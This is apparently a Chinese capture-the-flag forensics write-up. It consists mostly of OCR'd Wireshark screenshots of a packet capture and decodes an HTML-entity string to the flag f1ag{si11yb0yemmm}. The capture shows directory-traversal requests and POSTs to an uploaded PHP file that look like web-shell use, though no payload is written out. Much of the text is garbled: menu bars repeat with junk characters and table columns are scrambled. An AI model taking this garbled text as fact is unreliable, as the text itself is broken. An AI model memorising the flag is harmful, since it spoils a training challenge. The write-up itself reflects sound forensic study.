【可恶的 文件(<u>F</u>)	」黑客.pcapng 编辑(E) 视图(<u>V</u>) 跳转(G)) 捕获(<u>C</u>) 分析(<u>A</u>) 统计(<u>S</u>)	电话(Y) 无线(W) 工具(I) 帮助(<u>H</u>)		
(可恶的 文件(E)	□黑客.pcapng 编辑(E) 视图(V) 跳转(G)) 捕获(<u>C</u>) 分析(<u>A</u>) 统计(<u>S</u>)	电话(Y)无线(W) 工具(<u>1</u> • • • • • • • <u>•</u>) 帮助(<u>H</u>)		
● 可恶的 文件(E) ① 回 ② ② 应用显 分	二編名・pcapng 編編(E) 视图(V) 跳转(G) ③ ● ■ ○ ▲ ④ ● 示过滤器 … <ctrl-></ctrl-> 组字节流 > □ 金 章) 捕获(C) 分析(A) 统计(S) 、	电话(Y) 无线(W) 工具(I • • • • • • • • • • • • • • • • • • •) 帮助(<u>H</u>) ::l:a	7:g:	
【 可恶的 文件(E) 【 ■ <u>《</u> 应用显 分 。.	編客.pcapng 编辑(E) 视图(V) 跳转(G) ● ● ● ● ▼ ○ ● 示过滤器 ··· <(trl-/> 组字节流 ∨ ○ ○ Source) 捕获(C) 分析(A) 统计(S) ************************************	电活(Y) 无线(W) 工具(I Q、Q、Q、II 正则表达式 ~ f Destination) 帮助(<u>H</u>) ;;la Protoco	7;g Length Info	
 可恶的 文件(E) 位用显 分 の. 	黒客.pcapng 編領(E) 视图(M) 姚纬(G) ● ● ● ● ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○) 捕获(C) 分析(A) 统计(S) ************************************	电话(Y) 无线(W) 工具(1 Q、Q、Q 証 正则表达式 > [f Destination 10.211.55.15) 帮助(<u>H</u>) ;;la Protoco TCP	7;g Length Info 78 55535 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=144	50 WS=32 TSval=780004401 TSec
(可恶的 文件(E) () () () () () () () () () ()	黒客.pcapng 編領(E) 视圀(M) 姚徐(G) ●) 捕获(C) 分析(A) 统计(S) ・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・	电话(Y) 无线(W) 工具(Q、Q、Q 亚 正则表达式 ~ & #102 Destination 10.211.55.15 10.211.55.2) 帮助(<u>H</u>) ;la Protoco TCP TCP	7:g: Length Info 78 55535 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=144 74 80 → 55535 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len	50 WS=32 TSval=780004401 TSec n=0 MSS=1460 SACK_PERM=1 TSva
【 可恶的 文件(E) 【 ■ <i>(</i> ○ ○ ○ ○	黒客.pcapng 編領(E) 视图(M) 跳转(G) ● ● ● ○ ○ ○ ○ 「丁述語 ● ○ Ctrl-/> 相字节流 ● ○ ○ ○ Source 1 10.211.55.15 3 10.211.55.2) 捕获(C) 分析(A) 统计(S) ★ ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●	电话(Y) 无线(W) 工具(Q Q Q 豆 正则表达式 ~ <u>& #102</u> Destination 10.211.55.15 10.211.55.15) 帮助(<u>H</u>) ;:la Protoco TCP TCP	7:g: Length Info 78 55535 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=144 74 80 → 55535 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len 66 55535 → 80 [ACK] Seq=1 Ack=1 Win=131744 Len=0	50 WS=32 TSval=780004401 TSec n=0 MSS=1460 SACK_PERM=1 TSva TSval=780004401 TSecr=144087
【 可恶的 文件(E) 【 ■ <i>(</i> □ <u>○</u> 用显 分 。.	編集:pcapng 編集(E) 视園(V) 跳转(G) ● ● ● ○ ○ ○ ○ 示过滤器 ··· (Ctrl-/>) 组字节流 ○ ○ ○ Source 1 10.211.55.15 3 10.211.55.2 4 10.211.55.2) 捕获(C) 分析(A) 统计(S) 、 ************************************	电话(Y) 无线(W) 工具(Q Q Q 亚 正则表达式 > f Destination 10.211.55.15 10.211.55.15 10.211.55.15 10.211.55.15)帮助(H) ;la Protoco TCP TCP HTTP	7:g: Length Info 78 55535 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=144 74 80 → 55535 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len 66 55535 → 80 [ACK] Seq=1 Ack=1 Win=131744 Len=0 468 6ET / HTTP/1.1 66 0 55555 [ACK] 65 1 4 10 10 10 10 10 10 10 10 10 10 10 10 10	50 WS=32 TSval=780004401 TSec n=0 MSS=1460 SACK_PERM=1 TSva TSval=780004401 TSecr=144087 TSval=1440000 TSecr=144087
【 可恶的 文件(E) 【 ■ <i>(</i> 〕 立用显 分 。	黒案.pcapng 編編(E) 视園(V) 熟纬(G) ● ● ● ○ ○ ○ ○ 示过滤器 ··· <ctrl-></ctrl-> 望字节流 ~ 宽窄 Source 1 10.211.55.2 2 10.211.55.2 3 10.211.55.2 5 10.211.55.2 5 10.211.55.2 5 10.211.55.2) 捕获(C) 分析(A) 统计(S) ・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・	电话(Y) 无线(W) 工具() Q Q Q 亚 正则表达式 ~ & #102 Destination 10.211.55.15 10.211.55.15 10.211.55.15 10.211.55.2 10.211.55.2) 帮助(出) ;;la Protoco TCP TCP HTTP TCP	7;g Length Info 78 55535 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=14 74 80 → 55535 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len 66 55535 → 80 [ACK] Seq=1 Ack=1 Win=131744 Len=0 468 GET / HTTP/1.1 66 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=0	50 WS=32 TSval=780004401 TSec n=0 MSS=1460 SACK_PERM=1 TSva TSval=780004401 TSecr=1440879 TSval=1440880 TSecr=78000440
(可恶的 文件(E) () () () () () () () () () ()	黑客.pcapng 编辑(E) 视图(V) 挑转(G) 示过滤器 ··· (Ctrl-/) 组字节流 ∨) 捕获(C) 分析(A) 统计(S) ・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・	电话(Y) 无线(W) 工具() Q Q Q I 正则表达式 ~ f Destination 10.211.55.15 10.211.55.15 10.211.55.15 10.211.55.2 10.211.55.2 10.211.55.2 10.211.55.2) 帮助(出) ;;la Protoco TCP TCP TCP HTTP TCP TCP UTTP	7;g Length Info 78 55535 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=144 74 80 → 55535 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len 66 55535 → 80 [ACK] Seq=1 Ack=1 Win=131744 Len=0 468 GET / HTTP/1.1 66 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=0 1514 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=1 470 WID[1 1 200 CK (toxt/chm])	50 WS=32 TSval=780004401 TSec n=0 MSS=1460 SACK_PERM=1 TSva TSval=780004401 TSecr=144087 TSval=1440880 TSecr=78000440 148 TSval=1440880 TSecr=78000
(可悪的 文件(E) (〕 (〕 (〕 (〕 (〕 (〕 (〕 (〕) (〕 (〕 (〕) (〕 (〕 (〕 (〕 (〕 (〕 (〕 (〕 (〕 (〕 (〕 (〕 (〕	黒客.pcapng 編領(E) 视感(公) 熟纬(G) 京过速器 ··· (Ctrl-/) 相字节流 ∨ 武官 Source 1 10.211.55.2 2 10.211.55.2 3 10.211.55.2 4 10.211.55.2 5 10.211.55.15 6 10.211.55.15 6 10.211.55.15 7 10.211.55.15) 捕获(C) 分析(A) 统计(S) ・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・	电话(Y) 无线(W) 工具(Q , Q , Q , 1 正则表达式 ∨ ▲ file Destination 10.211.55.15 10.211.55.15 10.211.55.15 10.211.55.2 10.211.55.2 10.211.55.2 10.211.55.2 10.211.55.2 10.211.55.15) 帮助(H) ;l] Protoco TCP TCP HTTP TCP HTTP TCP	<pre>7:g: Length Info 78 55535 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=144 74 80 → 55535 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len 66 55535 → 80 [ACK] Seq=1 Ack=1 Win=131744 Len=0 468 GET / HTTP/1.1 66 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=0 1514 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=1: 479 HTTP/1.1 200 0K (text/html) 66 55535 → 80 [ACK] Seq=403 Ack=1862 Win=120898 H</pre>	50 WS=32 TSval=780004401 TSec =0 MSS=1460 SACK_PERM=1 TSva TSval=780004401 TSecr=144087 TSval=1440880 TSecr=78000440 448 TSval=1440880 TSecr=78000 en=0 TSval=780004403 TSecr=1
【 可恶的 文件(E) 【 ■ <i>(</i> 反用显 分 。.	編集:pcapng 編集(E) 视感(M) 挑纬(G) 示过滤器 → Cctrl→/ 组字节流 √ 宽定 10.211.55.2 210.211.55.2 210.211.55.2 410.211.55.2 510.211.55.15 610.211.55.15 610.211.55.15 710.211.55.15 810.211.55.2 910.211.55.2) 捕获(L) 分析(A) 統计(S) ・・・・ 雪 ・ 二 二 三 	电话(Y) 无线(W) 工具(Q、Q、Q、豆 正则表达式 ∨ ▲#102 Destination 10.211.55.15 10.211.55.15 10.211.55.15 10.211.55.2 10.211.55.2 10.211.55.2 10.211.55.15 10.211.55.15) 帮助(土) ; <u>&</u> #108;[Frotoco TCP TCP TCP TCP TCP TCP TCP TCP	7:g Length Info 78 55535 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=144 74 80 → 55535 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len 66 55535 → 80 [ACK] Seq=1 Ack=1 Win=131744 Len=0 468 GET / HTTP/1.1 66 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=0 1514 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=1- 479 HTTP/1.1 200 0K (text/html) 66 55535 → 80 [ACK] Seq=403 Ack=1862 Win=129888 520 GET /css/bootstran-responsive.css HTTP/1.1	50 WS=32 TSval=780004401 TSec 1=0 MSS=1460 SACK_PERM=1 TSva TSval=780004401 TSecr=144087 TSval=1440880 TSecr=78000440 148 TSval=1440880 TSecr=78000 Len=0 TSval=780004403 TSecr=1.
【 可恶的 文件(F) 【 〕 应用显 分 ○.	編集:pcapng 編集(E) 视感(M) 挑纬(G) 示过滤器 → Cctrl→7> 相字节流 マ Cctrl→7> 3 cource 1 10.211.55.2 2 10.211.55.2 3 10.211.55.2 4 10.211.55.15 5 10.211.55.15 6 10.211.55.15 8 10.211.55.2 9 10.211.55.2 e 1: 78 bytes on w) 捕获(L) 分析(A) 続计(S) ・・・・ 雪 ・ 二 二 三 	电话① 无线(W) 工具(Q、Q、Q、豆 正则表达式 ◇ ▲ 11 Destination 10.211.55.15 10.211.55.15 10.211.55.15 10.211.55.15 10.211.55.2 10.211.55.2 10.211.55.15 10.211.55.15 10.211.55.15 10.211.55.15) 帮助(土) ;l,[Protoco TCP TCP TCP TCP TCP TCP TCP HTTP TCP HTTP TCP	<pre>7:g Length Info 78 55535 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=14/ 74 80 → 55535 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len 66 55535 → 80 [ACK] Seq=1 Ack=1 Win=131744 Len=0 468 GET / HTTP/1.1 66 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=0 1514 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=1. 479 HTTP/1.1 200 OK (text/html) 66 55535 → 80 [ACK] Seq=403 Ack=1862 Win=129888 520 GET /css/bootstrap-responsive.css HTTP/1.1 interface vnic0. id 0</pre>	50 WS=32 TSval=780004401 TSec 1=0 MSS=1460 SACK_PERM=1 TSva TSval=780004401 TSecr=144087 TSval=1440880 TSecr=78000440 148 TSval=1440880 TSecr=78000 Len=0 TSval=780004403 TSecr=1.
【 可恶的 文件(E) 【 ■ @ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦	編集:pcapng 編集(E) 视恩(M) 挑纬(G) 示过滤器 ··· (Ctrl-/) 组字节流 ··· (Ctrl-/) 组字节流 ··· (Ctrl-/) 组字节流 ··· (Ctrl-/) 组字节流 ··· (Ctrl-/) 10.211.55.2 2 10.211.55.2 3 10.211.55.15 6 10.211.55.15 6 10.211.55.15 7 10.211.55.15 8 10.211.55.2 9 10.211.55.2 e 1: 78 bytes on w rnet II, Src: Para) 捕获(C) 分析(A) 統计(S) (本) (本) (本) (本) (本) (本) (本) (本) (本) (本)	电话(Y) 无线(W) 工具(Q、Q、Q、豆 正则表达式 ◇ ▲折102 Destination 10.211.55.15 10.211.55.15 10.211.55.15 10.211.55.5 10.211.55.2 10.211.55.5 10.211.55.15 10.211.55.15 10.211.55.15) 帮助(土) ;l,] Protoco TCP TCP TCP HTTP TCP HTTP TCP HTTP TCP HTTP TCP HTTP	7:g: Length Info 78 55535 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=14 74 80 → 55535 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len 66 55535 → 80 [ACK] Seq=1 Ack=1 Win=131744 Len=0 468 GET / HTTP/1.1 66 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=0 1514 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=1 479 HTTP/1.1 200 OK (text/html) 66 55535 → 80 [ACK] Seq=403 Ack=1862 Win=129888 520 GET /css/bootstrap-responsive.css HTTP/1.1 interface vnic0, id 0 a4:95:06 (00:1c:42:a4:95:06)	50 WS=32 TSval=780004401 TSec n=0 MSS=1460 SACK_PERM=1 TSva TSval=780004401 TSecr=1440879 TSval=1440880 TSecr=78000440 148 TSval=1440880 TSecr=78000 Len=0 TSval=780004403 TSecr=14
【可恶的 文件(E) 【■ 企 ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦ ⑦	編集:pcapng 編集(E) 视恩(M) 姚纬(G) 示过滤器 ··· (Ctrl-/) 组字节流 ··· (Ctrl-/) 组字节流 ··· (Ctrl-/) 组字节流 ··· (Ctrl-/) 1 10.211.55.2 2 10.211.55.15 3 10.211.55.15 5 10.211.55.15 5 10.211.55.15 6 10.211.55.15 7 10.211.55.2 9 10.211.55.2 e 1: 78 bytes on w rnet II, Src: Para rnet Protocol Vers) 捕获(C) 分析(A) 統计(S) (本) (本) (本) (本) (本) (本) (本) (本) (本) (本)	电话(Y) 无线(W) 工具(Q、Q、Q、豆 正则表达式 ◇ ▲前102 Destination 10.211.55.15 10.211.55.15 10.211.55.15 10.211.55.2 10.211.55.2 10.211.55.2 10.211.55.15 10.211.55.15 10.211.55.15) 帮助(土) ************************************	7:g: Length Info 78 55535 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=14 74 80 → 55535 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len 66 55535 → 80 [ACK] Seq=1 Ack=1 Win=131744 Len=0 468 GET / HTTP/1.1 66 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=0 1514 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=1 479 HTTP/1.1 200 OK (text/html) 66 55535 → 80 [ACK] Seq=403 Ack=1862 Win=129888 520 GET /css/bootstrap-responsive.css HTTP/1.1 interface vnic0, id 0 _a4:95:06 (00:1c:42:a4:95:06)	50 WS=32 TSval=780004401 TSect n=0 MSS=1460 SACK_PERM=1 TSva TSval=780004401 TSecr=1440879 TSval=1440880 TSecr=78000440 148 TSval=1440880 TSecr=78000 en=0 TSval=780004403 TSecr=14
【可恶的 文件(E) 【〕 ○ □ ○ ⑦ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○	編集:pcapng 編集(E) 视恩(Y) 姚纬(G) 示过滤器 ··· (Ctrl-/) 组字节流 ··· (Ctrl-/) 组字节流 ··· (Ctrl-/) 组字节流 ··· (Ctrl-/) 组字节流 ··· (Ctrl-/) 10.211.55.2 2 10.211.55.15 3 10.211.55.15 5 10.211.55.15 5 10.211.55.15 6 10.211.55.15 7 10.211.55.2 9 10.211.55.2 e 1: 78 bytes on w rnet II, Src: Para rnet Protocol Vers smission Control P) 捕获(C) 分析(A) 統计(S) (本) (本) (本) (本) (本) (本) (本) (本) (本) (本)	电话(Y) 无线(W) 工具(Q, Q, Q, 正 正则表达式 ∨ ▲前102 Destination 10.211.55.15 10.211.55.15 10.211.55.15 10.211.55.2 10.211.55.2 10.211.55.2 10.211.55.2 10.211.55.15 10.211.55.15 10.211.55.15 tes captured (624 bit) 10.210.00:08), Dst: 2, Dst: 10.211.55.) 帮助(土) ;l,a Protoco TCP TCP TCP HTTP TCP HTTP TCP HTTP TCP HTTP TCP HTTP TCP HTTP TCP HTTP TCP HTTP TCP HTTP TCP HTTP TCP	7:g: Length Inf₀ 78 55535 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=144 74 80 → 55535 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len 66 55535 → 80 [ACK] Seq=1 Ack=1 Win=131744 Len=0 468 GET / HTTP/1.1 66 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=0 1514 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=0 1514 80 → 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=10 479 HTTP/1.1 200 OK (text/html) 66 55535 → 80 [ACK] Seq=403 Ack=1862 Win=129888 520 GET /css/bootstrap-responsive.css HTTP/1.1 interface vnic0, id 0 _a4:95:06 (00:1c:42:a4:95:06) Len: 0	50 WS=32 TSval=780004401 TSec n=0 MSS=1460 SACK_PERM=1 TSva TSval=780004401 TSecr=144087 TSval=1440880 TSecr=78000440 148 TSval=1440880 TSecr=78000 en=0 TSval=780004403 TSecr=1

📕 गः	恶的黑客.p	capno	J																										
文件(<u></u>	E) 编辑(<u>E</u>)视	≌(⊻)	跳转(<u>G)</u> ł	捕获(<u>C</u>) 分)析(<u>A</u>) 纺	も计(<u>s</u>	<u>S)</u> F	电话(<u>Y)</u>	无线(<u>W</u>)	<u>工具(T</u>)	帮助	力(<u>H</u>)											
				6	۹	-	Ď	<u> </u>	Ł		(Ð, E		1															
┃ 应月	用显示过滤	器 …	<ctrl< td=""><td>-/></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></ctrl<>	-/>																									
	分组字节	流~	實	ĩ窄					区分	大小	写	IF	则	表达式	\sim	f													
No.	So	urce				Ti	.me					D	est	inati	on		Pro	otoc. Lei	ngth Inf	0									
	448 16	.211	.55.	2		43	31.3	055	66			1	0.2	211.5	55.1	5	TC	Р	06 [TC	P Win	dow	Upda	ate]	5559	98 →	80	[ACk	(] 5	eq=813
	449 10	.211	.55.	2		43	34.8	6959	90			1	0.2	211.5	55.1	5	HT	ТР	468 GE1	/upl	oad	/exar	nple1	.php	D HT	TP/1	1.1		
	450 10	.211	.55.	15		43	34.8	706	29			1	0.2	211.5	55.2		HT	TP 1	1060 HT1	P/1.1	20	о ок	(te	xt/l	ntml)			
	451 10	.211	.55.	2		43	34.8	7068	84			1	0.2	211.5	55.1	5	TC	Р	66 555	98 →	80	[ACK]] Sec	=121	15 A	ck=2	27317	7 Wi	n=13004
	452 10	.211	.55.	2		44	10.4	561	63			1	0.2	211.5	55.1	5	TC	Р	622 555	98 →	80	[PSH	, ACK	[] Se	≥q=1	215	Ack=	=273	317 Win:
	453 10	.211	.55.	2		44	10.4	5628	80			1	0.2	211.5	55.1	5	TC	Р	202 555	98 →	80	[PSH	, ACK	[] Se	2q=1	771	Ack=	=273	317 Win=
	454 10	.211	.55.	15		44	10.4	5634	41			1	0.2	211.5	55.2		TC	Р	66 80	→ 555	98	[ACK]] Sec	=273	317	Ack:	=1907	7 Wi	n=11264
	455 10	.211	.55.	2		44	10.4	563	73			1	0.2	211.5	55.1	5	TC	Р	168 555	98 →	80	[PSH	, ACK	[] Se	eq=1	907	Ack=	=273	317 Win=
+	456 10).211	.55.	2		44	10.4	5659	92			1	0.2	211.5	55.1	5	HT	ТР	212 POS	ST /up	loa	d/exa	ample	1.pl	np H	TTP/	/1.1	(t	ext/pla
	Urgent	Poi	nter	0																									
>	Option	s: (12 by	/tes), N	lo-Op	era	tior	n (N	IOP)), N	lo-0	pe	ratio	on (NOP),	Tim	estamp	s										
>	[SEQ/A	ск а	naly	sis]																									
>	[Times	tamp	s]																										
	тср ра	yloa	d (10	02 by	ytes)																							
	[Reass	embl	<u>ed Pl</u>	<u>)U i</u>	<u>n fr</u>	ame:	45	6]																					
	TCP se	gmen	t dat	ta (1	102	byte	es)																						
0000	00 1	c 42	a4 9	5 06	5 00	1c	42	00	00	<u> </u>	80	00 4	45	02	•••	В····	B۰	••••E•											
0010	00 9	a 87	56 4	0 00	9 40	06	00	00	0a	d3	37	02 (0a	d3	• •	• V@ • @ •	•••												
0020	37 0	f d9	2e @	0 50) cf	76	84	c2	ba	6b	f4	ec (80	18	7.	•••P•v	/ ••	·k····											
0030		0 84	43 6	0 00	01	01	80	0a	2e	84	a2	0† (00	1/	•••	• (• • • •	*	40,040											
0040		T <u>20</u> h 26	23 3	1 30) <u>32</u>	30 2h	20	23	34 21	39	30	20. 21.	23	39		f f	&# 2.#	49;											
0050	37 57 51	1 35	25 : 3h 2	6 23	/ <i>33</i> 2 31	30	20	Z5 Rh	26	22	33	30 3	20 Rh	25	/, 11	a#105, 5·	04#	125,α# &#/Q·&</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><th>0070</th><td>23 3</td><td>4 39</td><td>3b 2</td><td>6 2</td><td>31</td><td>32</td><td>31</td><td>3b</td><td>26</td><td>23</td><td>39</td><td>38</td><td>3b</td><td>26</td><td>#4</td><td>9:&#12</td><td>2 1:</td><td>b:&</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><th>0080</th><th>23 34</th><th>4 38</th><th>3b 2</th><th>6 2</th><th>3 31</th><th>32</th><th>31</th><th>зb</th><th>26</th><th>23</th><th>31</th><th>30</th><th>31</th><th>3b</th><th>#4</th><th>8;</th><th>2 1;</th><th>e</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></tr><tr><th>0090</th><th>26 2</th><th>3 31</th><th>30 3</th><th>9 3Ł</th><th>26</th><th>23</th><th>31</th><th>30</th><th>39</th><th>3b</th><th>26</th><th>23</th><th>31</th><th>30</th><th>&#</th><th>109;&#</th><th>ŧ 10</th><th>9;
</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></tr><tr><th>00a0</th><th>39 3</th><th>b 26</th><th>23 3</th><th>1 32</th><th>2 35</th><th>Зb</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>9;</th><th>}</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>0</th><th></th><th>OT I</th><th>A do the</th></tr><tr><th></th><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>C</td><td>SDIV</td><td>۳IJ</td><td>A小饭</td></tr></tbody></table>											

🚄 可恶的黑客.pcapng

文件(E) 编辑(E) 视图(V) 跳转(G) 捕获(C) 分析(A) 统计(S) 电话(Y) 无线(W) 工具(I) 帮助(H) ▲ ■ ② ⑧ ■ ③ 爻 ③ ♀ ◆ ◆ 聲 주 ♪ □ ◎ ♀ ♀ Ξ

	应月	用显示过滤器 … 〈Ctrl-/〉			
		分组字节流 ~ 宽窄	─ 🗌 区分大小写	正则表达式 ~ f	
N	ío.	Source	Time	Destination	Protoco Length Info
		448 10.211.55.2	431.305566	10.211.55.15	CP 66 [TCP Window Update] 55598 → 80 [ACK] Seq=813 Ack=26323
		449 10.211.55.2	434.869590	10.211.55.15	HTP 468 GET /upload/example1.php HTTP/1.1
		450 10.211.55.15	434.870629	10.211.55.2	HTTP 1060 HTTP/1.1 200 OK (text/html)
		451 10.211.55.2	434.870684	10.211.55.15	TCP 66 55598 → 80 [ACK] Seq=1215 Ack=27317 Win=130048 Len=0 TS
		452 10.211.55.2	440.456163	10.211.55.15	TCP 622 55598 → 80 [PSH, ACK] Seq=1215 Ack=27317 Win=131072 Ler
		453 10.211.55.2	440.456280	10.211.55.15	TCP 202 55598 → 80 [PSH, ACK] Seq=1771 Ack=27317 Win=131072 Ler
		454 10.211.55.15	440.456341	10.211.55.2	TCP 66 80 → 55598 [ACK] Seq=27317 Ack=1907 Win=11264 Len=0 TSN
		455 10.211.55.2	440.456373	10.211.55.15	TCP68 55598 → 80 [PSH, ACK] Seq=1907 Ack=27317 Win=131072 Ler
		456 10.211.55.2	440,456592	10.211.55.15	HTTP 212 POST /upload/example1.php HTTP/1.1 (text/plain)
		Urgent Pointer: 0			
	>	Options: (12 bytes), N	o-Operation (NOP), N	o-Operation (NOP),	Timestamps
	>	[SEQ/ACK analysis]			
	>	[Timestamps]			
		TCP payload (102 bytes)		
		[Reassembled PDU in fr	ame: 456]		
		TCP segment data (102	bytes)		
	000	00 1c 42 a4 95 06 00	1c 42 00 00 08 08 0	00 45 02 ···B·····	• B • • • • E •
	001	00 9a 87 56 40 00 40	06 00 00 0a d3 37 0	02.0ad3 ···V@·@	7
	0020	37 0f d9 2e 00 50 cf	76 84 c2 ba 6b f4 e	ec 80 18 7 · . · ₽	· · · · k · · · ·
	0030	10 00 84 43 00 00 01	01 08 0a 2e 84 a2 0	0f 00 17 ···C·►	· · · · · · · · · · · · · · · · · · ·
	004(a5 1f 26 23 31 30 32	3b 26 23 34 39 3b 2	26 23 39 ··· <mark>f</mark> ;	; 1
	0050	37 30 26 23 31 30 33	30 26 23 31 32 33 3	$30 \ 26 \ 23 \ 7; \& \#103;$; {&# D E · 0 #40.0
	000	31 31 35 30 20 23 31	30 30 30 20 23 34 : 20 21 26 26 23 34 :	59 50 26 115; 29 56 56 #40,0#17	0) 0 + 4 + 9 } 0 + 2 +
	007	23 34 39 30 20 23 31 23 34 38 3h 26 23 31	32 31 30 20 23 39 3	30 30 20 = #49; 0 = 12	2 1,0#20,0 2 1.e.
	0000	26 23 31 30 39 3h 26	23 31 30 39 3h 26 3	23 31 30 m:&#</td><td># 109:8#10</td></tr><tr><th></th><td>00a</td><td>39 3b 26 23 31 32 35</td><td>3b</td><td>9;}</td><td></td></tr><tr><th></th><td></td><td></td><td></td><td>5 juii 225 j</td><td>,</td></tr></tbody></table>	



直接解密试试



得到flag,我说查flag没有,原来是吧I换成1了。 f1ag{si11yb0yemmm}

2、正常解法

📕 可恶的黑客.pcapng

文件[D 編集](D 視難(D) 親持(D 捕获(C 分析(A) 统计(S 电活(C) 无线(M) 工具(D 帮助(H))

	应用显示过滤器 ⋯ 〈Ctrl-/〉						- -
	分组字节流 ~ 宽窄	─ 🗌 区分大小写	正则表达式 ~		0	查找	取消
No.	Source	Tine	Destination	Protoco	Length Info		-
	227 Parallel_a4:95:06	208.064603	Broadcast	ARP	42 Who has 10.211.55.1? Tell 10.211.55.15		
	228 Parallel_00:00:18	208.064658	Parallel_a4:95:06	ARP	42 10.211.55.1 is at 00:1c:42:00:00:18		
	229 10.211.55.15	208.064756	10.211.55.1	DHCP	342 DHCP Request - Transaction ID 0x8c52dd16		
	230 10.211.55.1	208.069910	10.211.55.15	DHCP	347 DHCP ACK - Transaction ID 0x8c52dd16		
	4 10.211.55.2	0.000655	10.211.55.15	HTTP	468 GET / HTTP/1.1		
	7 10.211.55.15	0.002156	10.211.55.2	HTTP	479 HTTP/1.1 200 OK (text/html)		
+	9 10.211.55.2	0.010954	10.211.55.15	HTTP	520 GET /css/bootstrap-responsive.css HTTP/1.1		
+	10 10.211.55.15	0.011283	10.211.55.2	HTTP	276 HTTP/1.1 304 Not Modified		
	13 10.211.55.2	0.011891	10.211.55.15	HTTP	510 GET /css/bootstrap.css HTTP/1.1		
	19 10.211.55.15	0.012315	10.211.55.2	HTTP	277 HTTP/1.1 304 Not Modified		
	24 10.211.55.2	0.013048	10.211.55.15	HTTP	435 GET /dirtrav/example3.php?file=hacker HTTP/1.1		
	25 10.211.55.2	0.013115	10.211.55.15	HTTP	439 GET /dirtrav/example1.php?file=hacker.png HTTP/1.1		
	28 10.211.55.2	0.013179	10.211.55.15	HTTP	454 GET /dirtrav/example2.php?file=/var/www/files/hacker.png HTTP/1.1		
	73 10.211.55.15	0.015256	10.211.55.2	HTTP	1360 HTTP/1.1 200 OK (text/html)		
	78 10.211.55.15	0.015281	10.211.55.2	HTTP	1360 HTTP/1.1 200 OK (text/html)		
	106 10.211.55.15	0.017101	10.211.55.2	HTTP	1360 HTTP/1.1 200 OK (text/html)		
	123 10.211.55.2	7.651393	10.211.55.15	HTTP	674 POST /upload/images/1.php HTTP/1.1 (application/x-www-form-urlencoded)		
	126 10.211.55.15	7.652554	10.211.55.2	HTTP	322 HTTP/1.1 200 OK (text/html)		
	129 10.211.55.2	7.666468	10.211.55.15	HTTP	796 POST /upload/images/1.php HTTP/1.1 (application/x-www-form-urlencoded)		
	131 10.211.55.15	7.667453	10.211.55.2	HTTP	500 HTTP/1.1 200 OK (text/html)		
	134 10.211.55.2	9.690182	10.211.55.15	HTTP	442 POST /upload/images/1.php HTTP/1.1 (application/x-www-form-urlencoded)		
	136 10.211.55.15	9.690905	10.211.55.2	HTTP	350 HTTP/1.1 200 OK (text/html)		
